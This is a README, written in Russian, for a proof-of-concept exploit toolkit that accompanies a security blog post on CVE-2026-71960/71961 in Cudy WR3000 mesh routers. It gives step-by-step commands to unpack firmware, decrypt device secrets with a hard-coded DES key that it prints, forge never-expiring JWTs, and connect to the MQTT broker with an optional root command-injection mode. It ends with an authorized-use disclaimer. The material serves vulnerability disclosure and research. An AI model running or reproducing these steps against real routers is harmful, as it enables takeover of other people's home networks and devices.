
PoC-инструментарий, который распаковывает прошивку маршрутизатора, расшифровывает секреты устройства, подделывает JWT-токены и эксплуатирует CVE-2026-71960/71961 для захвата контроля над MQTT-брокерами mesh-сети Cudy WR3000.
PoC-инструментарий для статьи Hunt-Benito "Один и тот же ключ открывает каждое устройство: CVE-2026-71960 — жёстко заданный секрет JWT в MQTT-брокере Cudy WR3000 Mesh" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
В сочетании с CVE-2026-71961 (внедрение команд ОС через тот же mesh-интерфейс MQTT) позволяет достичь выполнения команд от root на каждом узле mesh-сети Cudy WR3000 2.0 под управлением прошивки до 2.5.24.
| Файл | Назначение |
|---|---|
extract_firmware.py | Распаковывает публичный sysupgrade-образ .bin от Cudy (hboot1tag + UBI) в полную файловую систему OpenWrt. Проверено на 2.4.14 / 2.4.15 / 2.5.24. |
decrypt_bdinfo.py | Вычисляет ключ DES (DES_string_to_key("88T3j05dtFu8="), нулевой IV — восстановлен из libbdinfo.so) и расшифровывает дамп bdinfo из MTD вашего устройства, раскрывая deviceid и общий для всех устройств secret. |
forge_jwt.py | Создаёт HS256-токен, удовлетворяющий всем проверкам в mosquitto_auth_unpwd_check (нижняя граница exp 1577826000, grant в поле username, содержащий deviceid). Выполняет самопроверку round-trip. |
mqtt_takeover.py | Выполняет CONNECT к брокеру по TCP 1883 с подделанным JWT, подписывается на router/# и (опционально, --cmd) задействует sink-функцию command.lua → io.popen из CVE-2026-71961. |
pip install pycryptodome pyjwt paho-mqtt
# 1. unpack the public firmware (no device needed)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirm the DES key literal ships in the image
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decrypt a bdinfo dump from YOUR OWN device (2.4.x exposes /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forge a token for the recovered deviceid/secret
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passive: authenticate and listen on the mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so вызывает bdinfo_get_value("deviceid") и bdinfo_get_value("secret") при запуске брокера; значение secret — это ключ подписи HS256 для всех mesh-JWT.exp в плагине — это exp >= 1577826000 (2019-12-31T21:00:00Z); результат вызова time() ни с чем не сравнивается — токены фактически никогда не истекают.alg: none отклоняется (EINVAL при передаче ключа) — секрет действительно обязателен; обходного пути через alg-confusion нет.mosquitto_auth_acl_check() безусловно возвращает SUCCESS — принятый CONNECT даёт права чтения/записи на все темы.0.0.0.0:1883 (2.4.x) означает, что клиентский TLS-сертификат не нужен. Исправленная прошивка 2.5.24 удаляет слушатель на 1883, полностью убирает секрет bdinfo и полагается на взаимный TLS.Только для авторизованных исследований в области безопасности и в образовательных целях. Применяйте исключительно к устройствам, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Авторы не несут ответственности за неправомерное использование.